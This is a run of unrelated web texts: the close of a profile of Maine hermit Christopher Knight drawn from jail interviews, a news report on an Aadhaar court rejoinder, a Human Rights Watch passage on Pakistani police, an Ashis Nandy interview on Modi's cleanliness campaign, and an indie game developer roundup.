"But I wanted more than vegetables," he said. "It took a while to overcome my scruples. I was always scared when stealing. Always." He insists he never encountered anyone during a robbery; he made sure there was no car in the driveway, no sign of anyone inside. "It was usually 1 or 2 A.M. I’d go in, hit the cabinets, the refrigerator. In and out. My heart rate was soaring. It was not a comfortable act. I took no pleasure in it, none at all, and I wanted it over as quickly as possible." A single mistake, he understood, and the outside world would snatch him back.
He roamed about for two years before he discovered the campsite he would call home. He knew at once it was ideal. "Then," he said, "I settled in."
The majority of North Pond residents I spoke with found it hard to believe Knight’s story. Many insisted that he either had help or spent the winters in unoccupied cabins. As the time allotted for our visit wound down, I challenged Chris myself: You must, I said, have had assistance at some time. Or slept in a cabin. Or used a bathroom.
Chris’s demeanor changed. It was the only time in our meeting that he held eye contact. "Never once did I sleep inside," he said. He never used a shower. Or a toilet.
He did admit to thawing meat in a microwave a few times during break-ins. But he endured every season entirely on his own. "I’m a thief. I induced fear. People have a right to be angry. But I have not lied."
I trusted him. I sensed, in fact, that Chris was practically incapable of lying. I wasn’t alone in this thought. Diane Perkins-Vance, the state trooper present at his arrest, told me that much of her job consisted of sorting through lies people fed her. With Chris, however, she had no doubts. "Unequivocally," she said, "I believe him."
Before he hung up the phone, Chris added that if I could see where he lived and how he survived, I’d know for sure.
It was my plan to find his camp. Afterward, I said, I’d like to return to the jail. Could we meet again?
His answer was unexpected. He said, "Yes."
The Belgrade Lakes area, where Knight lived, is cow-and-horse rural, nothing like the vast North Woods of Maine, wild and unpeopled. Knight’s camp was located on private property, just a few hundred feet from the nearest cabin, in an area crisscrossed by dirt roads.
When I saw Knight’s woods myself, I understood how he could remain there unnoticed. The tangle of hemlock and maple and elm is so dense the forest holds its own humidity; one step in and my glasses fogged.
But what made navigation truly treacherous were the boulders—vehicle-sized glacier-borne gifts from the last ice age—scattered wildly and everywhere. I thrashed about for an hour, wrenched a knee between two moss-slick rocks, then gave up and retreated to a road.
Before Chris was jailed, he’d led Hughes and Perkins-Vance to his camp; I knew roughly where it was located, but my second attempt was also a failure. There was no hint of a trail. Mosquitoes swarmed. Finally, reduced to slogging in a gridlike pattern, I squeezed around a boulder and there it was.
My goodness. Chris had carved from the chaos a bedroom-sized clearing completely invisible from a few steps away, situated on a slight rise that allowed enough breeze to keep the mosquitoes away, but not so much as to cause severe windchill in winter. It was surrounded by a natural Stonehenge of boulders; overhead, tree branches linked to form a trellis-like canopy that masked his site from the air. This is why Chris’s skin was so pale—he’d lived in perpetual shade. I ended up staying there three nights, watching the rabbits by day, at night picking out a few stars behind the scrim of branches. It was as gorgeous and peaceful a place as I have ever spent time.
The police had dismantled much of his camp, but during my next visit with Chris, and several after that, he described his living space in meticulous detail. In total, Chris and I met at the jail for nine hours.
He slept in a simple camping tent, which he kept covered by several layers of brown tarps. Camouflage, he felt, was essential; he didn’t want to risk anything shiny catching someone’s eye, so he spray-painted, in foresty colors, his garbage bins and his coolers and his cooking pot. He even painted his clothespins green.
The breadth of his thievery was impressive. He’d fled the modern world only to live off the fat of it. Inside his tent was a metal bedframe he’d removed from the Pine Tree Camp; he had hauled it across the pond in a canoe. He didn’t steal the canoe. He just borrowed one, as he often did, from a lakeside cabin—"there’s a wide selection"—then returned it, sprinkling pine needles inside to make it seem unused. He also stole a box spring and mattress and sleeping bags.
He stole toilet paper and hand sanitizer for his bathroom spot. He took laundry detergent and shampoo for his wash area. There was no fire pit, as he’d insisted. He cooked on a Coleman two-burner stove that he connected to propane tanks. He stole a tremendous number of tanks, pillaging gas grills along the thirty-mile circumference of the pond. He never returned them. He buried the tanks—possibly hundreds of them—in his dump at the camp’s edge.
He stole deodorant, disposable razors, flashlights, snow boots, spices, mousetraps, spray paint, and electrical tape. He took pillows off beds. He kept three different types of thermometers in camp: digital, mercury, spring-loaded. Knowing the exact temperature was mandatory. He stole watches—he had to be sure, while on a raid, that he could return to camp before daybreak.
Deeper into the forest, in his "upper cache," as he called it, he’d stashed plastic totes filled with enough supplies—a tent and a sleeping bag, some warm clothes—so that if he heard someone approach his camp, he could instantly abandon it and start anew. He was committed.
His diet was terrible. "Cooking is too kind a word for what I did," Chris told me. He’d not been sick in the woods, and his worst accident was a tumble on some ice, but his teeth were rotten, and no wonder. I dug through his twenty-five years of trash, buried between boulders, and kept inventory: a five-pound tub that once held Marshmallow Fluff, an empty box of Devil Dogs, peanut butter, Cheetos, honey, graham crackers, Cool Whip, tuna fish, coffee, Tater Tots, pudding, soda, El Monterey spicy jalapeño chimichangas, and on and on and on.
He stole radios and earphones and hid an antenna up in trees. For a while, he listened to a lot of conservative talk radio. Later he got hooked on classical music—Tchaikovsky and Brahms, yes; Bach, no. "Bach is too pristine," he said. He went through a spell of listening to television shows on the radio; "theater of the mind," he called it. Everybody Loves Raymond was a favorite. But his undying passion was classic rock: the Who, AC/DC, Judas Priest, and above all, Lynyrd Skynyrd. We covered hundreds of topics while chatting in jail, and nothing received higher praise than Lynyrd Skynyrd. "They will be playing Lynyrd Skynyrd songs in a thousand years," he proclaimed.
He also stole the occasional handheld video game—Pokémon, Tetris, Dig Dug—but the majority of his free time was spent reading or observing the forest. "Don’t mistake me for some bird-watching PBS type," he warned, but then proceeded to poetically describe the crunch of dry leaves underfoot ("walking on corn flakes") and the rumble of an ice crack propagating across the pond ("like a bowling ball rolling down an alley").
He stole hundreds of books over the years; his preference was military history—he named William Shirer’s The Rise and Fall of the Third Reich as his favorite book—but he took whatever was available. Magazines were more common. When he finished them, he’d create bricks of magazines, bound with electrical tape, and bury them in the ground to level out his camp. Beneath his tent area were dozens of these bricks.
I unearthed a stack of _National Geographic_s with the dates still legible: 1991 and 1992. I also saw People, Cosmopolitan, Glamour, and Vanity Fair. There was even a collection of _Playboy_s. One book Chris never stole was the Bible. "I can’t claim a belief system," he said. He celebrated no holidays. He meditated now and then but did not pray.
With one exception. When the worst of a Maine winter struck, all rules were suspended. "Once you get below negative twenty, you purposely don’t think," he told me. His eyes went wide and fearful from the memory. "That’s when you do have religion. You do pray. You pray for warmth."
Chris lived by the rhythms of the seasons, but his thoughts were dominated by surviving winter. Preparations began at the end of each summer as the lakeside cabins were shutting down for the year. "It was my busiest time," he said. "Harvest time. A very ancient instinct. Though not usually associated with crime."
His first goal was to get fat. This was a life-or-death necessity. "I gorged myself on sugar and alcohol," he said. "It’s the quickest way to gain weight, and I liked the inebriation." The bottles he stole were signs of a man who’d never once, as he admitted, ordered a drink at a bar: Allen’s Coffee Flavored Brandy, Seagram’s Escapes Strawberry Daiquiri, something called Whipped Chocolate Valley Vines (from the label: "fine chocolate, whipped cream red wine").
As the evenings began to chill, he grew his beard to the ideal length—about an inch, long enough to insulate his face, short enough to prevent ice buildup. He intensified his thieving raids, stocking up on food and propane. The first snow usually came in November. Chris was always fearful about leaving a single boot print anywhere, which is impossible to avoid in a blanket of snow. And so for the next six months, until the spring thaw in April, Chris rarely strayed from his clearing in the woods.
I asked him if he just slept all the time, a human hibernation. "Completely wrong," he replied. "It’s dangerous to sleep too long in winter." When seriously frigid weather descended, he conditioned himself to fall asleep at 7:30 P.M. and get up at 2 A.M. "That way, at the depth of cold, I was awake." If he remained in bed any longer, condensation from his body could freeze his sleeping bag. "If you try and sleep through that kind of cold, you might never wake up."
The first thing he’d do at 2 A.M. was light his stove and start melting snow. To get his blood circulating, he’d pace the perimeter of his camp. His feet never seemed to fully thaw, but as long as he had a fresh pair of socks, this wasn’t a problem. "It’s more important to be dry than warm," Chris said. By dawn, he’d have his day’s water supply. "Then, if I had had food, I’d have a meal."
And if he didn’t have food? There were, he said, some very hard winters—desperate winters—in which he ran out of propane and finished his food. The suffering was acute. Chris called it "physical, emotional, and psychological pain." He hinted to me there were times he contemplated suicide.
Why not just leave the woods? Chris said he thought about it. He even kept a whistle in his camp. "If I blew on it in sequences of three, help might come." But he never used it. Rather, he made a firm decision that unless forcibly removed, he was going to spend the rest of his life behind the trees.
When he heard the song of the chickadees, he told me, he could finally relax. "That alerted me that winter is starting to lessen its grip. That the end is near. That spring is coming and I’m still alive."
The cold never got easier. All his winter-camping expertise felt offset by advancing age. "You should have seen me in my twenties," he boasted. "I was lord of the woods. I ruled the land I walked upon. I was tough and clever." But over time, like an aging athlete, his body began to break down. The biggest issue was his eyesight. "For the last ten years, anything beyond an arm’s length was a blur. I used my ears more than my eyes." If he saw a pair of glasses during a break-in, he always tried them on, but was unable to find a better prescription. His agility faded; bruises took longer to heal. His teeth constantly hurt.
The victims of his thefts, after years of waiting for a police breakthrough, eventually took matters into their own hands. Neal Patterson, whose family has owned a place on the pond for fifty years, began hiding all night in his dark house with a.357 Magnum in his hand. "I wanted to be the guy that caught the hermit," he said. He stayed up fourteen nights one summer before he quit.
Debbie Baker, whose young boys were terrified of the hermit—to quell their fears, the family renamed him "the hungry man"—installed a surveillance camera in their cabin. And in 2002, they captured a photo of Knight. The police widely distributed the photo and figured an arrest was imminent.
It took eleven more years. After a robbery in March of 2013 at the Pine Tree Camp, Sergeant Terry Hughes, who often volunteered there, contacted the border patrol for advice. "It had gone on long enough," said Hughes. He installed a motion detector that sounded an alarm at his house and practiced dashing from his bed to the camp until he had it down under four minutes. Then Hughes waited for the hermit to return.
Following his arrest, the court of public opinion was deeply divided. The man who wanted to live his life as invisibly as possible had become one of the most famous people in Maine. You could not walk into a bar in the Augusta area without stumbling into a debate about what should be done with Christopher Knight.
Some said that he must immediately be released from jail. Stealing cheese and bacon are not serious crimes. The man was apparently never violent. He didn’t carry a weapon. He’s an introvert, not a criminal. He clearly has no desire to be a part of our world. Let’s open a Kickstarter, get him enough cash for a few years’ worth of groceries, and allow him to go back to the woods. Some people were willing to let him live on their land, rent-free.
Others countered that it wasn’t the physical items he robbed that made his crimes so disturbing—he stole hundreds of people’s peace of mind. Their sense of security. How were they supposed to know Knight wasn’t armed and dangerous? Even a single break-in can be punishable by a ten-year sentence. If Knight really wanted to live in the woods, he should’ve done so on public lands, hunting and fishing for food. He’s nothing but a lazy man and a thief times a thousand. Lock him up in the state penitentiary.
On October 28, 2013, Chris appeared in Kennebec County Superior Court and pleaded guilty to thirteen counts of burglary and theft. He was sentenced to seven months in jail—he’d already served all but a week of this, waiting for his case to be resolved. The sentence was far more lenient than it could have been, though even the prosecutor said a long prison term seemed cruel in this case. Chris was ordered to meet with a judge every Monday, and avoid alcohol, and either find a job or go to school. If he violated these terms, he could be sent to prison for seven years.
Before his release, I met with Chris again. He said he’d be returning home, to live with his mother. His beard was unruly—"my crazy hermit beard," he called it. He was alarmingly skinny; he itched all over. We still didn’t make much eye contact.
"I don’t know your world," he said. "Only my world, and memories of the world before I went into the woods. What life is today? What is proper? I have to figure out how to live." He wished he could return to his camp—"I miss the woods"—but he knew by the rules of his release that this was impossible. "Sitting here in jail, I don’t like what I see in the society I’m about to enter. I don’t think I’m going to fit in. It’s too loud. Too colorful. The lack of aesthetics. The crudeness. The inanities. The trivia."
I told him I agreed with much of his assessment. But, I wondered, what about your world? What insights did you glean from your time alone? I had been trying to ask him these questions every visit, but now I pushed the point harder.
Anyone who reveals what he’s learned, Chris told me, is not by his definition a true hermit. Chris had come around on the idea of himself as a hermit, and eventually embraced it. When I mentioned Thoreau, who spent two years at Walden, Chris dismissed him with a single word: "dilettante."
True hermits, according to Chris, do not write books, do not have friends, and do not answer questions. I asked why he didn’t at least keep a journal in the woods. Chris scoffed. "I expected to die out there. Who would read my journal? You? I’d rather take it to my grave." The only reason he was talking to me now, he said, is because he was locked in jail and needed practice interacting with others.
"But you must have thought about things," I said. "About your life, about the human condition."
Chris became surprisingly introspective. "I did examine myself," he said. "Solitude did increase my perception. But here’s the tricky thing—when I applied my increased perception to myself, I lost my identity. With no audience, no one to perform for, I was just there. There was no need to define myself; I became irrelevant. The moon was the minute hand, the seasons the hour hand. I didn’t even have a name. I never felt lonely. To put it romantically: I was completely free."
That was nice. But still, I pressed on, there must have been some grand insight revealed to him in the wild.
He returned to silence. Whether he was thinking or fuming or both, I couldn’t tell. Though he did arrive at an answer. I felt like some great mystic was about to reveal the Meaning of Life.
"Get enough sleep."
He set his jaw in a way that conveyed he wouldn’t be saying more. This is what he’d learned. I accepted it as truth.
"What I miss most," he eventually continued, "is somewhere between quiet and solitude. What I miss most is stillness." He said he’d watched for years as a shelf mushroom grew on the trunk of a Douglas fir in his camp. I’d noticed the mushroom when I visited—it was enormous—and he asked me with evident concern if anyone had knocked it down. I assured him it was still there. In the height of summer, he said, he’d sometimes sneak down to the lake at night. "I’d stretch out in the water, float on my back, and look at the stars."
At the very end of each of our visits, I’d always asked him the same question. An essential question: Why did he disappear?
He never had a satisfying answer. "I don’t have a reason." "I can’t explain why." "Give me more time to think about it." "It’s a mystery to me, too." Then he became annoyed: "Why? That question bores me."
But during our final visit, he was more reflective. Isn’t everybody, he said, seeking the same thing in life? Aren’t we all looking for contentment? He was never happy in his youth—not in high school, not with a job, not being around other people. Then he discovered his camp in the woods. "I found a place where I was content," he said. His own perfect spot. The only place in the world he felt at peace.
That was all he had to tell me. He’d grown weary of my visits. Please, he begged, leave me alone; we are not friends. I don’t want to be your friend, he said, I don’t want to be anyone’s friend. "I’m not going to miss you at all," he added.
I liked Chris, a great deal. I liked the way his mind worked; I liked the lyricism of his language. But he was a true hermit. He could no longer disappear into the wild, so he wished to melt away into the world.
"Good-bye, Chris," I said. A guard had appeared to escort him away, but there was time for Chris to express a last thought. He did not. He hung up the phone. No wave; no nod. He stood, turned his back on me, and walked out of the visitors’ booth and down a corridor of the jail.A petitioner who took the Centre to the Supreme Court over its move to make Aadhaar cards “mandatory” to avail certain welfare schemes has disputed the government’s figures on gains from Direct Benefit Scheme (DBT) due to introduction of the unique identity.
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In a rejoinder filed in court on Friday, the petitioner cited that the government’s affidavit in the case and said it had listed savings from DBT for 2014-15 and 2015-16 at Rs 49,560 crore. This, Sen contended, “is incorrect and a gross exaggeration”, and sought to explain her conclusions.
The court is due to hear the matter on June 27.
According to the government, financial benefits from DBT arose from four basic schemes: Public Distribution System (PDS), Pratyaksha Hastantrit Labh (PAHAL), Mahatma Gandhi National Rural Employment Guarantee Scheme (MNREGS), and the National Social Assistance Programme (NSAP). A “fifth residuary category” was noted in the affidavit as “others”, Sen pointed out. She alleged that figures in each case were “disputed, its methodology of computation has not been revealed, and there exist material doubts as to the financial benefits which are alleged to have accrued”.
The “savings” were actually “gross savings”, as available data indicate that no costs were factored into their tabulation, Sen contended.
Referring to the savings from PAHAL alone, which was computed at Rs 26,408 crore for the period 2014-17, the rejoinder said that a CAG audit for April-December 2015 had concluded that “most savings (92%) is because of the fall in LPG price in international market, and only 8% can be attributed to various initiatives (UID being just one among them)”.
“The CAG analysis notes that the respondent (government) has inaccurately classified 3.34 crore inactive connections as active connections illegally drawing subsidised LPG prior to the launch of PAHAL. This contradicts government figures from before….”
On gains from DBT, Sen said the government had claimed that deletion of 2.33 crore ration cards after seeding with Aadhaar had saved it Rs |
including known criminals, and to harass or file false charges against political opponents.
Abysmal work conditions contribute to the climate where violations are tolerated or encouraged, Human Rights Watch said. Low-ranking officers are required to be on call 24 hours a day, every day. Instead of having scheduled shifts, many work long hours, sometimes living in run-down barracks at the police station. Many are separated from their families for long stretches of time. They often lack necessary equipment, including vehicles, investigative tools and even paper on which to record complaints and make notes.
“Working conditions and professional incentives for police officers need to improve,” Adams said. “Police should have the resources, training, equipment, and encouragement to act professionally instead of leaving Pakistanis to rely on favors and bribes to seek justice.”
Pakistan’s federal and provincial governments should promptly investigate and appropriately discipline or prosecute officials responsible for human rights violations, Human Rights Watch said. This includes the use of arbitrary detention, torture, and other coercive measures to obtain evidence and confessions. Acceptable investigation techniques should be explicitly defined in the police rules and manuals.
“The rule of law won’t become a reality in Pakistan unless the law enforcement forces tasked with imposing the law are also held to it,” Adams said. “For this to happen, the government needs to bring changes within the system and address the improper influences outside of it.”Renowned political psychologist Ashis Nandy analyses Prime Minister Narendra Modi’s motives in initiating the Swachch Bharat Abhiyan, his ideas on cleanliness, sanitation, and environment degradation, his reasons for invoking Gandhi, and why his government seems like an NRI government.
Excerpts from an interview.
Could you have imagined, say, a few months ago, Narendra Modi sponsoring a cleanliness drive as prime minister – from inspecting offices for tidiness to his campaign on building toilets and the Swachh Bharat Abhiyan?
I wouldn’t have, but I would have also. I wouldn’t have because I thought that for the first few months he wouldn’t displease anybody. His preliminary statements as prime minister suggested that. He associated himself with Gandhi, not with anybody else, not with Singapore’s Lee Kuan Yew. [Yet] Modi is India’s Lee Kuan Yew.
The middle classes in all developing societies don’t want to show poverty. China also has this sensitivity about its slums. Though China has fewer slums than India, they are there. Even during the Commonwealth Games in Delhi they tried to hide the poverty by putting up screens all over the place. It was comical.
Modi is looking for a platform so that he can rise above politics while his sidekicks like [Yogi] Adityanath and company can continue to do politics.
Are you saying that Modi’s cleanliness drive fits in with the image he has of himself?
Yes, he believes in controlled democracy and wants the world to know India by cities which are spic-and-span. Image is very important to him, that we shouldn’t be considered second-rate by the white-skin or the yellow-skin ones. This is linked to his feeling of inferiority about India.
Isn’t it contradictory that he is emphasising on cleanliness yet his government has summarily set aside green checks on industrial expansion?
That pollution doesn’t show immediately.
But Modi is a man of science and technology.
He’s not a man of science and technology. His idea of science and technology is derived from newspapers and TV. He is a hardcore development man. Such men always consider green checks as something devised by the West to stop the development in the Third World. There is some truth to it. The West has got away with murder. The ozone layer was destroyed in the first industrial revolution, not in the second industrial revolution. They have not met any of the promises they made under the Kyoto protocol. They have been dishonest at every stage.
But it is also true Modi’s vision is limited. He doesn’t look beyond the simple, obvious political facts. After all, when the environment begins to collapse, the maximum sufferers will also be in the Third World. One-third of Bangladesh, for instance, is supposed to get submerged. No military would be able to shoot Bangladeshis making a desperate bid to enter India.
Are you saying he doesn’t see the contradiction because industrial pollution is largely invisible?
I don’t know whether or not he is capable of seeing. Modi has purchased the idea that it is some troublemakers’ work of raising these environmental issues. The United Progressive Alliance too thought that. I doubt whether any party has seriously considered environmental issues. In fact, not even the communist parties.
So he believes in the science of industry, but not in environmental science.
Look at Gandhi’s idea of environment, which was intertwined with the concept of simplicity and some degree of austerity. He himself lived an austere life. But Modi’s commitment is to high-grade, unlimited industrialisation. He talks like a 19th-century business tycoon. The only good thing that can come out of it immediately is that you have a better bargaining position vis-à-vis the West, which is also changing because of the pressure from its own people to be sensitive to environment.
But some good will come out of the Swachh Bharat Abhiyan?
There is no doubt in my mind on that score. The dirtiness in India is not all because of poverty. In fact, villages in interior India where the tribals and the very poor live, those are much cleaner than the industrial slums of Bombay or Calcutta. So his campaign will bring a little focus on cleanliness.
The Swachhta pledge doesn’t even mention open defecation, which is a huge problem. Doesn’t this mean his campaign emphasises on urban priorities and is guided by a certain sense of aesthetics?
Absolutely. What will the foreigners think? What will NRIs think? How would they feel when they go to these areas and feel a sense of inferiority about their country? He is brightening the face of the NRIs, as the Bengali saying goes. This is an NRI government. The NRI consciousness dominates this government. Even UPA II was partly that. The Indian middle class has grown in size but it hasn’t thought through what could be the new ethics for our times. It has neither the capacity to learn nor has produced people who can seriously think about it. A huge majority of our middle class believes in the simple slogan that the only future is to become more like the West.
Modi’s rhetoric echoes that?
I find it psychologically interesting that some people don’t see the obvious, the macro part of the story. Five-star hotels will always be cleaner than one- or two-star hotels. That’s because the amount of water each five star hotel utilises will not be less than what 50 villages consume. Villages automatically become dirty. They have a problem of water. There are structural problems. In earlier efforts under UPA II, the Ganges was cleaned by diverting it to another river system. The Ganges is being made clean for the urbanites.
Just as the Sabarmati river…?
Sabarmati is no longer a river. It is a stinking bloody pond. When it stinks too much, you release the water and bring in new water. It is a hoax to call it a river, it is a con game. You can’t clean rivers like that.
The Swachh Bharat Abhiyan echoes the Nirmal Bharat Abhiyan, which aimed more at changing cultural norms about open defecation than focussing on building infrastructure. Modi’s emphasis is on building toilets. What explains this policy reversal?
Modi doesn’t know India or his sidekicks don’t know India much. The middle class has lost touch with India, about which they know from newspapers and TV where the coverage is of a different kind. If they had known India, they would have known most people want to live cleanly and that is why interior villages are clean.
The Research Institute for Compassionate Economics has found that half of the people in households that have government-subsidised latrines still defecate in the open.
That is because it is an alien thing. Secondly, look at this business of having toilets in every school. Many schools don’t even have buildings. So the only building they will have will be the toilet. The school will be known by its toilet. There has to be some feel for India.
They have no feel for it?
But some good will come out of this campaign. Government offices are excruciatingly dirty. It is not because they don’t have money. Habits are dirty. People have not learned to look for cleanliness outside their homes. They will pee on the wall. Cleanliness in the public place is not what is understood.
The Swachh Bharat Abhiyan has been linked to Gandhi. But wasn’t Gandhi’s concern about sanitation embedded in the larger framework of ethical politics?
It was about simplicity, austerity, and lesser consumption. In that model you can include swachhta in villages. Gandhi called Indian villages dung heaps. Modi can’t dare call it, no prime minister can call it because of the impact his or her statement would have on electoral politics. But Gandhi’s solution for that was not infrastructure. It was about people emulating the way their parents and forefathers had lived. It had something to do with lifestyle. This effort at cleanliness has nothing to do with the lifestyle of a majority of Indians. Just exhortations will not do. Sloganeering will not do.
Why is he invoking the Gandhian paradigm?
He is doing a Gandhi because elections are coming in Maharashtra. He can’t divide people as he used to do earlier. His sidekicks are doing that. He is trying to say I am above politics. Bending down and touching with his head the steps of Parliament, the invocation of Gandhi, the kind of speech he gave on August 15, the present cleanliness drive – these are all attempts to rise above politics so that he is not associated with the tough politics his side-kicks are playing.
What is driving that?
Political sense. He is a much better politician than the fools who have been in power in recent times. They were technocrats thrown into high positions.
Isn’t Modi trying to project himself as a statesman?
Yes. To be fair to him, I must say that a politician will always be a politician. If in being a politician, he has also to strike a posture of being a statesman, claim he belongs to the tradition of Gandhi, that he is in touch with India’s traditions – he has defended the Muslims of India powerfully – then it can be said that he has some political sense, apart from some ethics. That is one part of the story. The other part is that he has kept some cards up his sleeves to play at right moments and that his sidekicks like Amit Shah are doing. I consider this a blessing – one can be very brazen about certain things. He has, obviously, thought out and planned his strategy.
But Gandhi’s idea of cleanliness was also linked to contesting the idea of purity and pollution, of fighting untouchability.
Purity and pollution Modi won’t touch because caste politics is involved. He will speak in generic terms. Even then I am hoping a post can make a person, be shaped by it.
In the Harijan edition of Feb 18, 1939, Gandhi wrote, “If our municipal councilors are imbued with a real spirit of service, they will convert themselves into unpaid sweepers, bhangis and road-makers, and take pride in doing so.” Do you think, in some senses, Modi is achieving that?
He is trying to break that strict partition [between castes]. Don’t forget it is also part of the tradition of the RSS. Its idea of unity of Hindus included a casteless society.
How would you have wanted Modi to link up his Swachh Bharat Abhiyan with the Gandhian vision?
I would have put in a few words on the idea of purity and pollution, issued a statement saying nightsoil shouldn’t be carried. He should have made clear that he has a slightly larger vision, that his idea of cleanliness is not CWG style.
Modi is driven by the idea of industrialisation. Gandhi was a critic of industrialized societies. Is it jarring for you to hear Modi invoke Gandhi?
In Gujarat, there is a customised image of Gandhi. Even hardboiled industrialists take his name. He is like a benign grandfather sitting on a mantelpiece in a form of statue or photo and blessing your efforts to go for hard industrialisation, hard modernity.
Gandhi has been customised?
It is true for all of India. We are moving towards a Savarkarite state. Savarkar chose Hindutva only as a way of civilising Hindus. He had contempt for Hindus as believers. He wanted to make a nationality out of them. You can’t have a nation-state without a nationality. He was looking for a candidate for nationality. Hindus he found to be in the largest number. He was a non-believer, hardboiled secular. His secularism was of the European kind at the turn of the century.
Isn’t subtle coercion being used to have bureaucrats report to offices on Oct 2 for the Swachh campaign?
They are his main instrument for his project, whatever it is.
You don’t have a problem that students were asked to stay behind on Teacher’s Day to hear his speech?
He is new, so people are enjoying listening to him. Soon it will pall. Indians are not impressed for too long. They ritualise everything.
In 1925, Gandhi wrote in Young India, “Cleanliness is next to godliness. We can no more gain God’s blessing with an unclean body than with an unclean mind.” Against this backdrop, how would you interpret the Prime Minister’s silence on love jihad?
He has been silent not only on love jihad, but on so many things, even on Adityanath’s vitriolic speech. All I am saying, we should be grateful for small mercies – Swachh Bharat Abhiyan is a harmless thing, and that he is trying to identify with a Gandhian, rather than an RSS, project.
Ajaz Ashraf is a journalist based in Delhi. He is the author of The Hour Before Dawn, to be released in December by HarperCollins India.We asked nine respected indie game developers and studios the very loaded question: what challenges they faced as a team, throughout all stages of their game(s) development?
Each game, and every developer are likely to have their own unique list of trials and tribulations they had faced while creating their own indie game. We thought why not reach out to them, and allow them to share those experiences with the rest of indie game developers out there?
We hope this helps give new and aspiring developers some greater perspective about the whole development process. From the initial concept, all the way through release of the game. There are always going to be major obstacles along the way, and these developers were kind enough to share exactly what they, and their teams each experienced along the way.
Sigursteinn Gunnarsson
Studio Wumpus – Sumer Game
A game that’s too niche
One of the greatest and hardest things about the development of Sumer is how incredibly niche and different it is. The most similar game to it is M.U.L.E. and that came out in 1983. Sumer was designed like a board game but has real time elements that would be impossible in an actual board game. This made it difficult for us to reach our core audience. It’s hard to immediately clear what kind of game Sumer is since there are so few references of other games to point to. We’ve kind of had to fight for the attention of board gamers, because Sumer doesn’t look like a board game at first glance.
Another problem with the lack of references was that for a long time we had a hard time communicating what the game was all about. As we improved the design, visuals, and clarity we got to the place where we have a strong community of active players and even new people are intrigued and are drawn to the game because it’s so visually appealing and different.
Being niche is an interesting problem to have. The uniqueness of Sumer is also the reason we are so in love with our game. It’s something completely different and everyone that gets a chance to play it falls in love with it.
Figuring out company overhead with different levels of commitment.
We started development of the game in graduate school without worrying about publishing, marketing, company overhead and all of that stuff. We were four friends on equal footing, all equally invested in the game. Fresh and wide eyed out of school we thought we could finish the game in 6 months or we’d be able to get investment into the game and make this a full time job. As we ran out of money and it became clear that we weren’t going to get funding anytime soon we had to do a sort of reality check.
Some of us moved away from New York and began working remotely, others picked up a little freelance work or started teaching on the side. At that point being four equal partners became a more difficult dynamic to sustain and we had to figure out a fair system for all of us on how different commitment levels to Studio Wumpus was rewarded. We did in the end but it’s something that we continually have to adjust and maintain.
Working remotely
I had a daughter and moved back to Iceland to raise her and Josh moved to Baltimore for a new job. Communicating on a professional but especially personal level is always hard to do remotely. We are very thankful for Slack and keep in touch every day through that, but working in different time zones and mindsets can definitely be a challenge. We have a meeting once a week and sometimes more often, but we don’t really have time to add personal banter to that.
During stressful times it’s always super easy to misunderstand something written in text and be resentful. But as soon as we talk on Skype it’s clear that thing didn’t mean what we thought and then we’re back on a good track.
Matt Raithel
Graphite Lab – Hive Jump
Funding
It’s everyone’s problem. I wrote about it in an article posted in Gamasutra. Hive Jump took 3 long years of development and when it comes to funding it, we went through it all: Moonlighting, crowdfunding, publisher negotiation, salary cuts, equity division, bank loans, family investments – it’s all gone into Hive Jump. Funding is an issue because planning for your first original property is an awful lot of guesswork. Imagine trying to estimate how long online multiplayer support will take if you’ve never implemented online multiplayer before. Even if you have implemented the feature in a past game, the experience is always slightly different in a new project. So if your schedule is always changing based on those problems then your costs are going to fluctuate as well or your timeline will have to crunch to make up for the lack of funding.
Taking on MAJOR features
Online Multiplayer was our most ambitious feature in Hive Jump. We went through 3 different engineers to spearhead this effort with each helping move it forward slightly until we finally found an engineer to carry it through to the end. However, despite the determination and the time invested, this feature depends on so many factors that are in the user’s control (computer & network reliability to name two) that it made it very hard to tell when the feature was “done”. Lucky for us, we chose to go through early access and were able to find and fix many issue which lead to poor multiplayer performance. Even then, we were still met with many issues upon release.
Marketing
Many developers focus on the GAME, which is what they SHOULD be doing. However, if they don’t have the resources to hire a marketing team or the clout to lure a publisher then many teams are left to tackle this task on their own without the experience necessary to be successful. We faced this task, but felt like we were pretty well aware of the challenges. Even so, we didn’t get the coverage we were looking for and in hindsight, having a publisher or marketing team in our corner would have likely gotten some better results.
Søren Lundgaard
Ghost Ship Games – Deep Rock Galactic
Funding / Cash flow
We are veteran developers with families and mortgages, so finding funding has been a top priority for us. By spending a lot of time on this, we have managed to be invested in twice, get a substantial government grant and a publishing deal within 10 months. But it has still been a major challenge as none of us had done this part of the business before founding Ghost Ship Games.
Balancing time on Development vs Everything Else
We can all agree that the goal is to create awesome games. But in order to do so, you need to also spend time on building a company and a team, find funding and do PR and tons of other non-game-dev issues. Deciding on how to spend team resources between the actual game development and everything else is super hard. We’ve tried to always keep some people fully engaged with development to keep momentum. Also, we are very agile on planning and never spend time on anything too far into the future (unless it’s about funding!).
PR and Marketing
Going into this, none of us knew anything about PR and Marketing, but we knew we had solve it. Or risk dying shortly after launch. Figuring out social media is very hard and the only approach seems to be trial and error. Same with the streamers, the influencers of Youtube and Twitch – how do you approach them, how do you engage them? We are still learning a lot here, but we also decided to get help. In our case by making a publishing deal with Coffee Stain (of Goat Simulator fame)
Matthijs van de Laar
Twirlbound – Pine
Managing expectations
Being an indie studio, we have to try and stand out. With our game we’re taking a few experimental approaches and we’re trying to make something unique, but that sometimes means people get the wildest ideas about what you’re making. It’s sometimes a fine line between selling a game and giving clear representations of the product!
Working anywhere, anytime
As opposed to working in a large studio, we’re constantly working. We’re a bunch of friends too, so it’s always about work. Luckily it’s one of the best jobs in life, but still – we gotta strictly keep ourselves to a certain schedule and working hours!
Defining scope
Sometimes ideas run wild, but you gotta stick to a doable scope. Always dangerous!
Christoph Schnackenberg and Marcel Hampel
Team Nory – Nory’s Escape
We developed Nory’s Escape based on an existing prototype Marcel created years ago (2007). So when we started the project we knew the concept works and we also knew how to realize it from the technical point of view (art + programming). We thought that it’ll take us less than six month. In June 2017, it is three years now. So, a big challenge was to accept that everything needs way more time than we thought.
Marcel and me are both professionals in our areas and do have “day jobs” which we both love and which keep our financial life in balance. That plus other obligations caused us to work in separated areas the whole time and we rarely saw us in person. Slack and GIT helped a lot to keep our work in sync. Still, it was like playing a super complicated chess game with a pen pal where you sometimes had to wait days for the next move. It was very challenging to always get back into the world of Nory and to build the mental environment that is required for the creative work we did.
